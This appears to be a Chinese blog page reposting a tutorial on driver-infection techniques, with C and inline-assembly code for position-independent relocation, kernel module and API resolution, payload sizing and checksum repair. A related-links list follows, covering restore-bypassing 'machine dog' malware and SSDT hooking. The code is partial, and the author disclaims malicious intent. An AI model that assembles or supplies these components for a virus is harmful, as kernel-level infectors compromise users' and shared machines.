|
驱动感染技术,可写穿透还原软件的病毒的技术
用的正道上,可以写穿透还原软件的游戏更新软件!
标 题: 【原创】驱动感染技术扫盲(C描述)
上周的上周的....周末有位同学提到过驱动感染问题,而刚好周末也没有地方可去,所以就有了这篇文章的出现.既然是扫盲版,那肯定是没有什么高深的东西了,只是一些奇淫技巧,高手请自动跳过。 好了,回归正题,很多年前(其实也就4, 5年,拌一下老人,呵呵)玩Ring3下PE感染的时候就用过相关的东西,那么我们来想想,一个标准的PE感染要解决哪几个问题呢? 1、重定位问题 在汇编里可以很简单的使用下面这种方式来重定位代码或全局数据: Start: call lbl_Next lbl_Next: pop ebx sub ebx, 5 sub ebx, offset Start 要访问全局数据就这样:Mov eax, dword ptr[ebx + GlobalData] 那么用C语言里怎么重定位呢,呵呵,有人说过在C里不能嵌汇编吗?没有,嘿,那就用汇编,如: /** *@brief 取得全局变量或函数重定位后的地址 * *@param[in] pVar 全局变量或函数的地址 *@return 返回全局变量或函数的实际地址 */ PVOID KGetGlobalVarAddr(PVOID pVar) { PVOID pCurAddr = NULL; __asm { Start: call lbl_Next lbl_Next: pop eax sub eax, 5 sub eax, offset Start add eax, pVar mov pCurAddr, eax } return pCurAddr; } 访问全局数据就成这样:pData = KGetGlobalVarAddr(&GlobalData); 2、引入表问题 得到ntoskrnl基址 大家都知道DriverEntry函数的第一个参数是一个DriverObject,该参数的结构如下 nt!_DRIVER_object +0x000 Type : Int2B +0x002 Size : Int2B +0x004 DeviceObject : Ptr32 _DEVICE_object +0x008 Flags : Uint4B +0x00c DriverStart : Ptr32 Void +0x010 DriverSize : Uint4B +0x014 DriverSection : Ptr32 Void +0x018 DriverExtension : Ptr32 _DRIVER_EXTENSION +0x01c DriverName : _UNICODE_STRING +0x024 HardwareDatabase : Ptr32 _UNICODE_STRING +0x028 FastIoDispatch : Ptr32 _FAST_IO_DISPATCH +0x02c DriverInit : Ptr32 +0x030 DriverStartIo : Ptr32 +0x034 DriverUnload : Ptr32 +0x038 MajorFunction : [28] Ptr32 其中DriverSection成员指向LDR_DATA_TABLE_ENTRY结构,如下: +0x000 InLoadOrderLinks : _LIST_ENTRY +0x008 InMemoryOrderLinks : _LIST_ENTRY +0x010 InInitializationOrderLinks : _LIST_ENTRY +0x018 DllBase : Ptr32 Void +0x01c EntryPoint : Ptr32 Void +0x020 SizeOfImage : Uint4B +0x024 FullDllName : _UNICODE_STRING +0x02c BaseDllName : _UNICODE_STRING +0x034 Flags : Uint4B +0x038 LoadCount : Uint2B +0x03a TlsIndex : Uint2B +0x03c HashLinks : _LIST_ENTRY +0x03c SectionPointer : Ptr32 Void +0x040 CheckSum : Uint4B +0x044 TimeDateStamp : Uint4B +0x044 LoadedImports : Ptr32 Void +0x048 EntryPointActivationContext : Ptr32 Void +0x04c PatchInformation : Ptr32 Void DllBase、SizeOfImage、FullDllName、BaseDllName等等都是好东西呀,呵呵 通过遍历这张表得到ntoskrnl的基址和大小,如下 /** *@brief 根据驱动模块名返回对应的映像基址和映像大小 * *@param[in] pwszModuleName 驱动模块名 *@param[in] pulModuleSize 返回驱动模块的大小 *@return 返回0表示失败,其它值是驱动模块基址 */ ULONG KGetModuleBase(WCHAR *pwszModuleName, ULONG *pulModuleSize) { ULONG ulModuleBase = 0; LIST_ENTRY *Entry = NULL; LDR_DATA_TABLE_ENTRY *DataTableEntry = NULL; PDRIVER_object DriverObject = KGetGlobalVarAddr(g_pDriverObject); Entry = ((LIST_ENTRY*)DriverObject->DriverSection)->Flink; do { DataTableEntry = CONTAINING_RECORD(Entry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (DataTableEntry->EntryPoint && DataTableEntry->BaseDllName.Buffer && DataTableEntry->FullDllName.Buffer && DataTableEntry->LoadCount ) { if ( !KWcsNiCmp( DataTableEntry->BaseDllName.Buffer, pwszModuleName, DataTableEntry->BaseDllName.Length / sizeof(WCHAR) ) ) { ulModuleBase = DataTableEntry->DllBase; if (pulModuleSize) { *pulModuleSize = DataTableEntry->SizeOfImage; } goto Exit0; } } Entry = Entry->Flink; } while (Entry != ((LIST_ENTRY*)DriverObject->DriverSection)->Flink); Exit0: return ulModuleBase; } (注:也可以用上面的方法来枚举已经加载的驱动列表) 通过导出表取得函数地址 /** *@brief 根据函数名返回函数对应的RVA地址 * *@param[in] pe PE对象 *@param[in] Name 导出表内的函数名 *@return 返回表示失败,其它值是函数的RVA地址 */ ULONG KPEGetFuncRVAByName(KPELIB *pe, CHAR *pszFuncName) { ULONG FuncRVA = 0; ULONG *puFuncNameAddress = 0; USHORT *puAddressOfOrd = 0; ULONG *puAddressOfFunc = 0; ULONG i = 0; USHORT Index = 0; PUCHAR pFuncName = NULL; ULONG FuncNameRVA = 0; PROCESS_ERROR(pe->pExportEntry); puFuncNameAddress = (ULONG*)( pe->pExportEntry->AddressOfNames + pe->pMap); puAddressOfOrd = (USHORT*)( pe->pExportEntry->AddressOfNameOrdinals + pe->pMap); puAddressOfFunc = (ULONG*)( pe->pExportEntry->AddressOfFunctions + pe->pMap); for (i = 0; i < pe->pExportEntry->NumberOfNames; i++) { Index = puAddressOfOrd[i]; FuncNameRVA = puFuncNameAddress[i]; pFuncName = (PUCHAR)( pe->pMap + FuncNameRVA); if (KStrCmp(pszFuncName, (CHAR*)pFuncName) == 0) { FuncRVA = puAddressOfFunc[Index]; break; } } Exit0: return FuncRVA; } /** *@brief 根据内核映像初始一个PE对象 * *@param[in] Buffer 内核映像基址 *@param[in] uFileSize 内核映像大小 *@param[out] pe PE对象 *@return 返回STATUS_SUCCESS时成功,其它值为失败 */ int KPEInitFromMem(PUCHAR Buffer, ULONG uFileSize, KPELIB *pe) { int nResult = STATUS_UNSUCCESSFUL; if (!pe) { goto Exit0; } pe->pDosHdr = (PIMAGE_DOS_HEADER)Buffer; pe->pNtHdr = (PIMAGE_NT_HEADERS32)(Buffer + pe->pDosHdr->e_lfanew); pe->pSecHdr = (PIMAGE_SECTION_HEADER)( pe->pDosHdr->e_lfanew + pe->pNtHdr->FileHeader.SizeOfOptionalHeader + 0x18 + Buffer ); pe->pExportEntry = (PIMAGE_EXPORT_DIRECTORY)( Buffer + pe->pNtHdr->OptionalHeader.DataDirectory[0].VirtualAddress ); pe->pImportEntry = (PIMAGE_IMPORT_DESCRIPTOR)( Buffer + pe->pNtHdr->OptionalHeader.DataDirectory[1].VirtualAddress ); pe->pBaseReloc = (PIMAGE_BASE_RELOCATION)( Buffer + pe->pNtHdr->OptionalHeader.DataDirectory[5].VirtualAddress ); pe->IsInitSuccessed = TRUE; pe->pMap = Buffer; pe->uMapSize = uFileSize; nResult = STATUS_SUCCESS; Exit0: return nResult; } /** *@brief 根据函数名得到函数的地址,可以理解为GetProcAddress * *@param[in] pwszModuleName 驱动模块名 *@param[in] pszFuncName 函数名 *@return 返回表示失败,其它值是函数的地址 */ ULONG KGetApiAddr(WCHAR *pwszModuleName, CHAR *pszFuncName) { int nRetCode = FALSE; ULONG ulApiAddr = 0; ULONG ulNtosBase = 0; ULONG ulNtosSize = 0; KPELIB pe; ulNtosBase = KGetModuleBase(KGetGlobalVarAddr(pwszModuleName), &ulNtosSize); if (!ulNtosBase) { goto Exit0; } nRetCode = KPEInitFromMem((PUCHAR)ulNtosBase, ulNtosSize, &pe); if(!NT_SUCCESS(nRetCode)) { goto Exit0; } ulApiAddr = KPEGetFuncRVAByName(&pe, KGetGlobalVarAddr(pszFuncName)); if (!ulApiAddr) { goto Exit0; } ulApiAddr += ulNtosBase; Exit0: return ulApiAddr; } 使用示例: WCHAR g_Ntoskrnl[] = L"ntoskrnl.exe"; CHAR g_ApiName[] = "NtCreateFile"; pFunc = KGetApiAddr( KGetGlobalVar(g_Ntoskrnl), KGetGlobalVar(g_ApiName) ); 其它的不多说了,大家应该对这块是已经熟得不能再熟了^_^ 3、感染体大小的取得 我的解决方案是: 在所有的代码和数据前面放置KGetStartAddr函数 /** *@brief 取得当前函数的地址 * *@return 返回当前函数的地址 */ ULONG __declspec(naked) KGetStartAddr() { __asm { call lbl_Next lbl_Next: pop eax sub eax, 5 ret } } 在所有的代码和数据前面放置KGetEndAddr函数 /** *@brief 取得当前函数末的地址 * *@return 返回前函数末的地址 */ ULONG __declspec(naked) KGetEndAddr() { __asm { call lbl_Next lbl_Next: pop eax add eax, 5 ret } } 感染体大小= KGetEndAddr() - KGetStartAddr() 4、把.data节和.text节合并 方法: 把VC2005的工程属性Linker->Advanced->Merge Sections字段改成.data=.text 5、重新计算文件CheckSum,对于驱动来说,这个很重要,不重新计算驱动会加载失败 从2000源代码里A出来的,具体看源代码 6、记不起来了,具体看源代码,自己慢慢调,慢慢蓝,嘿 声明: 本文的目的不是在教大家怎么写驱动感染病毒,纯粹是一种技术交流,使用本文所演示的技术所造成的一切影响都与本人无关。 源代码说明: 代码被我删除了一些东西,所以不要问我怎么编译通不过,懂得相关技术的人自然很容易补齐,这也是为了防止有人直接A过去干坏事^_^ |
相关推荐
基于Transformer和图卷积网络的时空人体运动预测网络
本文主要介绍了基于Transformer和图卷积网络的时空人体运动预测网络。首先,文章详细阐述了Transformer模型的原理和优点,指出其通过自注意力机制实现序列数据的建模和处理,能够捕捉长距离依赖关系。然后,文章介绍了图卷积网络的基本概念和应用场景,强调其通过邻居节点信息聚合实现空间特征的提取和融合。接着,文章详细设计了时空人体运动预测网络的总体架构,包括基于Transformer的时间特征提取模块、基于图卷积的空间特征融合模块以及时空特征联合预测模块。
ring3下穿透磁盘还原技术揭秘
在写这篇文章之前我犹豫了很久,到底要不要把这些鲜为人知的方法公开了,因为一 旦公开,被人掌握这些技术,那么还原软件的脆弱性则一览无遗,网吧的机子应该就可以 随便的穿透,机器狗是需要加载驱动来进行穿透还原,而我介绍的这种技术不需要加载驱 动则可以穿透还原,你是不是听的有点兴奋,有点热血沸腾;但是我还是要告诉你,技术 是一把双刃剑,利用的好是安全软件,利用的邪恶就是***、病毒等...
毕业设计基于微信小程序+python后端图像识别的智能垃圾分类系统设计与实现源码+数据库文档+演示视频.zip
毕业设计基于微信小程序+python后端图像识别的智能垃圾分类系统设计与实现源码+数据库文档+演示视频.zip
感染型病毒风险提醒:官方渠道或成传播链之一
网络购物如今已经成为了大部分人生活中不可或缺的消费渠道,其中各个平台的“官方店铺”更是不少人心目中可靠的最优选,我们常常对其信赖有加,潜意识里觉得从这里购买的商品,连同附带的产品或软件都是安全有保障的。然而,近期发生的这起事件,给我们敲响了警钟:即使是来自正规渠道的软件,也可能暗藏风险。一旦电脑中了感染型病毒,会出现正常使用的软件被频繁报毒的情况。该种病毒为多年前的病毒,具有感染、传播、后门、发送邮件等功能,虽然其远控服务器与邮件账号早已不再响应或有效,但还是具有一定的危险性,能够对用户产生干扰。
一次电脑感染Synaptics Pointing Device Driver病毒的经历,分享下经验
不知道什么时候感染的病毒,搜索了下Synaptics Pointing Device Driver 是个感染型病毒,主要感染.exe和.xlsx文件,突然想起来之前有个excel文件打开后就变成xlsm格式文件,然后就打不开了。经过这次病毒感染和处理,之后下载软件别随便百度一个地址就下载,经常扫描电脑杀毒,看看有什么异常进程,尤其是开机变慢了,肯定有新的开机进程启动了。没想到作为使用电脑多年的老司机也会电脑中病毒,周末玩电脑的时候突然电脑很卡,然后自动重启,奇怪,之前没出现这个情况。再次扫描电脑硬盘正常。
内核级HOOK的几种实现与应用
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们 添加文章 English Version 文章分类 专题文章 漏洞分析 安全配置 黑客教学 编程技术 工具介绍 火墙技术 入侵检测 破解专题 焦点公告 焦点峰会 文章推荐 LSD RPC 溢出漏洞之分析 任意用户模式下执行 ring 0 代码 IIS的NSIISLOG.
重要警报:穿透系统还原卡的木马病毒出现
今天我已经遇到了许多Q群中蔓延着以下信息,看看啊. 我最近的照片~ 才扫描到QQ象册上的 ^_^ ! http://www.search_2.shtml.cgi-client-entry.photo.39pic.com/qq%xxxxxxE5†Œ2/"大家看到以后千万别点,会产生灾难性后果,值得注意的是,这个具有穿透性传染力的病毒可以抵御还原卡和还原软件的防护.Worm.Logo.b病毒“logo
机器狗病毒样本(穿透冰和点还原卡)
目前网上流传一种叫做机器狗的病毒,此病毒采用hook系统的磁盘设备栈来达到穿透目的的,危害极大,可穿透目前技术条件下的任何软件硬件还原!基本无法靠还原抵挡。目前已知的所有还原产品,都无法防止这种病毒的穿透感染和传播。顺便说一句,这个病毒从技术上来说,可以大胆的猜测应该是还原业内人士开发研制的,这种技术的应用极为少见,且如果精通这种技术的高手要做病毒不会用这种hook系统的磁盘设备栈的方式,完全
机器狗病毒专杀软件
机器狗病毒 机器狗的生前身后 曾经有很多人说有穿透还原卡、冰点的病毒,但是在各个论坛都没有样本证据,直到2007年8月29日终于有人在社区里贴出了一个样本。这个病毒没有名字,图标是SONY的机器狗阿宝,就像前辈熊猫烧香一样,大家给它起了个名字叫机器狗。 工作原理机器狗本身会释放出一
机器狗病毒专杀和机器狗病毒样本研究
转自 "The Savager Blog" ,原文链接:http://www.xiji.org/article.asp?id=420版权归原作者所有,转载请注明出处!机器狗病毒专杀和机器狗病毒样本研究:日前,一种可以穿透各种还原软件与硬件还原卡的机器狗病毒异常肆虐。此病毒通过 pcihdd.sys驱动文件抢占还原软件的硬盘控制权。并修改用户初始化文件userinit.exe来实现隐藏自身的目的。
详解还原系统保护技术原理和穿透思路
以下内容来自网络 系统的还原点如果还原的时候不起作用了,还是还原时出了别的问题?难道系统还原只是一个摆设? 它究竟要如何使用,才能达到我们所想要的一种结果?使用还原系统环境的用户一般都不会安装其他的防护软件,一旦还原软件被穿透的话,会带来比较大的安全威胁。 还原系统技术原理 还原系统基本原理是磁盘设备过滤驱动。比较常用方法是自己会建一个磁盘卷设备,在harddiskX进行文件
一种可以穿透各种还原软件与硬件还原卡的机器狗病毒异常肆虐
一种可以穿透各种还原软件与硬件还原卡的机器狗病毒异常肆虐 日前,一种可以穿透各种还原软件与硬件还原卡的机器狗病毒异常肆虐。中科蓝光为了验证机器狗病毒的破坏性及是否对蓝光保护卡产品有威胁,组织了多次感染测试试验1在没有保护卡安装软还原的情况下运行机器狗病毒样本,发现该病毒通过局域网传播很快,修改各个重要系统文件使得系统启动...
穿透还原的工作原理分析(逆向工程)
穿透还原的工作原理分析(逆向工程)--机器狗 样本脱壳 OD加载样本explorer.exe,对GetModuleHandleA下断,参数为NULL时即为入口点处对此函数的调用,退出CALL之后可以得到入口为 004016ED。 重新加载样
重装系统都杀不掉的十大病毒
最近国内出现一种名叫谍影的电脑病毒,它寄生在主板BIOS芯片里,生命力极其顽强,无论重装系统,还是格式化硬盘,都无法把谍影病毒杀掉。 其实在电脑病毒历史上,类似谍影病毒一样打不死的小强还真不少。这也提醒我们,平时一定要勤打补丁,不要随便下载安装一些可疑来源的软件,更不能为了用外挂而关掉安全软件,否则很可能遇到顽固病毒,给自己的资料和账号带来损失。 重装系统也杀不掉的十大病毒盘点: ...
奇虎郑文彬:还原系统保护技术原理和攻防
奇虎郑文彬:还原系统保护技术原理和攻防3月19日,由中国最大的互联网综合服务提供商腾讯发起和组织的互联网安全峰会进入第二天。包括微软、盛大、新浪等互联网界各大巨头的技术专家,学者和专业人士参与了此次的交流。此次峰会是今年以来首场由中国互联网各顶尖企业共同参与的大型网络安全专业盛会。来自奇虎的反木马专家郑文彬,在现场发表演讲。以下为文字实录:郑文彬:大家好!我今天给大家介绍这几个方面:背景、还原系
穿透还原12.1新变种病毒样本
中毒现象:双击不能打开盘符,如果双击次数过多,通过任务管理器会看到很多cmd在执行。最后系统CPU占用过高,最后死机。右键点击C盘或D盘后,右键菜单第一项为AUTO或打开或自动播发等 ,在下面会再有一个open。千万不要选第一个,选底下的open,打开C盘。在窗口上面的菜单中选Tools--Fold Options--view---Hide Protected operating system
(转)一种可以穿透还原卡和还原软件的代码
一种可以穿透还原卡和还原软件的代码 一种可以穿透还原卡和还原软件的代码 CVC/GB 风般的男人 还原卡和还原软件被广泛运用于各种公共场合的电脑上,比如学校机房和网吧。这些还原卡和还原软件(以下我简称为虚拟还原技术)能够记录下一切对硬盘的写操作,不论您对硬盘进行拷贝还是移动删除甚至是格式化分区等操作,只要一重新启动,一切都会恢复到这个操作之前的情况,因此有些虚拟还原厂商还会在广告词中加上一句“可以
[内核编程] 4.5 HOOK分发函数
4.5 HOOK分发函数 本节开始深入的探讨键盘的过滤与反过滤。有趣的是,无论是过滤还是反过 滤,其原理都是进行过滤。取胜的关键在于:谁将第一个得到信息。 黑客可能会通过修改一个已经存在的驱动对象(比如前面的KbdClass)的分 发函数指针来实现过滤所有请求的目的。黑客将这些函数指针替换成自己的黑客 驱动中的函数,这样请求将被黑客的程序首先截获。然后通过调用原来被替换过 的旧的...
常用的系统HOOK方法
1.HOOK SSDT表 // UN-protect memory __asm { push eax mov eax, CR0 and eax, 0FFFEFFFFh mov CR0, eax pop eax } // do something // RE-protect memory __asm { push
TDIfw在windows 10 1903的测试
最近看了一下TDI的网络过滤驱动,在Vista之后就不支持了,但是据说windows7还是能用,于是想试试在win10上还能不能玩。需要注意的是在win10上的TCP和UDP设备对象的驱动对象变成了tdx,于是有了下面的代码。 #include <Ntifs.h> #include <ntimage.h> #include <ntstrsafe.h> #include <Tdikrnl.h> #define MEM_TAG 'YCAI' #define
驱动感染技术扫盲(C描述)
驱动感染技术扫盲(C描述) Writer By 老Y 上周的上周的....周末有位同学提到过驱动感染问题,而刚好周末也没有地方可去,所以就有了这篇文章的出现.既然是扫盲版,那肯定是没有什么高深的东西了,只是一些奇淫技巧,高手请自动跳过。 好了,回归正题,很多年前(其实也就4, 5年,拌一下老人,呵呵)玩Ring3下PE感染的时候就用过相关的东西,那么我们来想想,一个标准的PE感染要解决哪
1459




被折叠的 条评论
为什么被折叠?



